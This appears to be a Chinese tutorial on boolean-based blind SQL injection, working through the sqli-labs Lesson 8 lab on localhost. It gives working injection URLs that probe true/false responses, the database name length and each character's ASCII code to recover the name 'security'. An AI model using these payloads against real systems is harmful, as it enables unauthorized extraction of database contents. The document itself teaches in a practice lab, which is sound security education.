如今有很多种使用SQL注入攻击数据库的方法,比如之前的教程中已经见过的基于错误返回的攻击、基于登录表单的攻击和其他许多不同形式的攻击,其目的都是获取数据库中的信息。同样地,今天我们将要学习一种新的SQL注入攻击方法——基于布尔的盲注。
攻击者通常在URL中嵌入(')来检查是否可以进行SQL注入攻击,使用(')是为了得到SQL错误返回信息。这是一场开发者和攻击者之间的战争,每当开发者提升了安全防护级别,攻击者就得绞尽脑汁地去攻破它。这一次开发者并没有将错误信息以输出的形式呈现在Web页面上。因此,即使该数据库是易于被SQL注入的,攻击者也无法获得任何相关错误信息。然而,道高一尺,魔高一丈。此时攻击者就会通过估计不同的查询结果,TRUE或者FALSE,来确定该数据库是否可被盲注。
开始吧!我们继续使用Dhakkan平台来学习盲注。
Lesson 8
首先在浏览器中输入http://localhost:81/sqli/Less-8/?id=1打开该平台(注:输入具体以个人实际情况为准,这里是原作者的配置,仅供参考)。
这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1
由上图可以看出,其结果就是得到一个以黄颜色显示的"You are in..........."的Web页面。
当攻击者使用嵌入(')的查询,即:http://localhost:81/sqli/Less-8/?id=1'
由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。
那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1
数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的"You are in...........",这意味着该查询是有效的。
接着下一条查询,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0
同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此将会返回FALSE。由上图可以看出,该黄颜色文本右消失了。
以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。
接下来的查询将会求数据库中的字符串长度。
例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本"You are in..........."即可判断返回的是TRUE还是FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。
(注:细心的读者可能会发现上面的URL中localhost后面有81,而图片中却没有,其实这两种方式得到的是同一页面,因此不做更改,读者可自行尝试)
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
由上图可以看出,当前数据库名的长度不等于2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。
众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们使用了ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。例如:
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
图片来源:www.lookuptables.com
接下来我们要使用ASCII码枚举出这8个字符。
下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上图可以看出,第一个字符的ASCII码确实大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+
由上图可以看出,第一个字符的ASCII码小于120。这意味着第一个字符的ASCII码在100和120之间。
接下来逐个检查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
由上图可以看出,第一个字符的ASCII码不等于101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
由上图可以看出,第一个字符的ASCII码不等于114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'。
接下来就是第二个字符,重复以上步骤。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 --+
由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'。
同理即可得到全部的8个字符,具体如下:
1 = s = 115
2 = e = 101
3 = c = 99
4 = u = 117
5 = r = 114
6 = i = 105
7 = t = 116
8 = y = 121
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课